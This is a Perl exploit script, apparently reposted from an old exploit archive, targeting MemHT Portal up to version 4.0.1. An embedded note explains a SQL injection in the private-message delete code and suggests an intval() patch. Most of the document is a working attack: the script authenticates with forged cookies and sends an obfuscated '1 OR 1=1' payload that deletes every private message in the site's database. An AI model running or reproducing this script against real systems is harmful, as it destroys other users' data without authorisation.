|
#!/usr/bin/perl
# MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit
# by yeat - staker[at]hotmail[dot]it
<<Details;
Note:
1- works regardless of php.ini settings.
2- blind sql injection benchmark() method is possible.
3- don't add me on msn messenger.
4- Thanks to evilsocket && Sir Dark.
5- MemHT is a good content management system but it has some security problem.
6- http://milw0rm.com/exploits/7859
security patch: http://www.memht.com/forum_thread_17756_FixPatch-4-0-1.html
/pages/pvtmsg/index.php / Line: 851 -867
<?php
}
break;
case "deleteSelected":
if (isset($_POST['deletenewpm'])) {
foreach ($_POST['deletenewpm'] as $value) {
$dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
}
}
if (isset($_POST['deletepm'])) {
foreach ($_POST['deletepm'] as $value) {
$dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
}
}
?>
ok then foreach ($_POST['deletenewpm'] as $value)
deletenewpm[]= $value ;) so if we send a evil code like this:
1 OR 1=1 we'll delete all messages from mysql database
Possible Fix:
Line: 859 && 864
Edit $dblink->query("DELETE FROM memht_pvtmsg WHERE id=$value");
Fix: $dblink->query("DELETE FROM memht_pvtmsg WHERE id=".intval($value));
regards :)
Details
use IO::Socket;
use Digest::MD5('md5_hex');
our ($host,$path,$id,$username,$password) = @ARGV;
if (@ARGV != 5) {
print "\n+--------------------------------------------------------------------+\r",
"\n| MemHT Portal <= 4.0.1 (pvtmsg) Delete All Private Messages Exploit |\r",
"\n+--------------------------------------------------------------------+\r",
"\nby yeat - staker[at]hotmail[dot]it\n",
"\nUsage + perl $0 [host] [path] [id] [username] [password]\r",
"\nHost + localhost\r",
"\nPath + /MemHT\r",
"\nID + your user id\r",
"\nPassword + your password\n";
exit;
}
else {
my $html = undef;
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;
my $post = "deletenewpm[]=\x31\x20\x4F\x52\x20\x31\x3D\x31".
"&Submit.x=34".
"&Submit.y=9";
my $auth = cookies();
my $data = "POST /$path/index.php?page=pvtmsg&op=deleteSelected HTTP/1.1\r\n".
"Host: $host\r\n".
"User-Agent: Lynx (textmode)\r\n".
"Cookie: $auth\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($post)."\r\n\r\n$post\r\n\r\n".
"Connection: close\r\n\r\n";
$sock->send($data);
while (<$sock>) {
$html .= $_;
}
if ($html =~ /Private Messages/i) {
print "Exploit successfull,all messages deleted.\n";
}
else {
print "Exploit failed!\n";
}
}
sub cookies
{
$username = md5_hex($username);
$password = md5_hex($password);
return "login_user=$id#$username#$password";
}
|
| |
|
推荐
评论(0条)
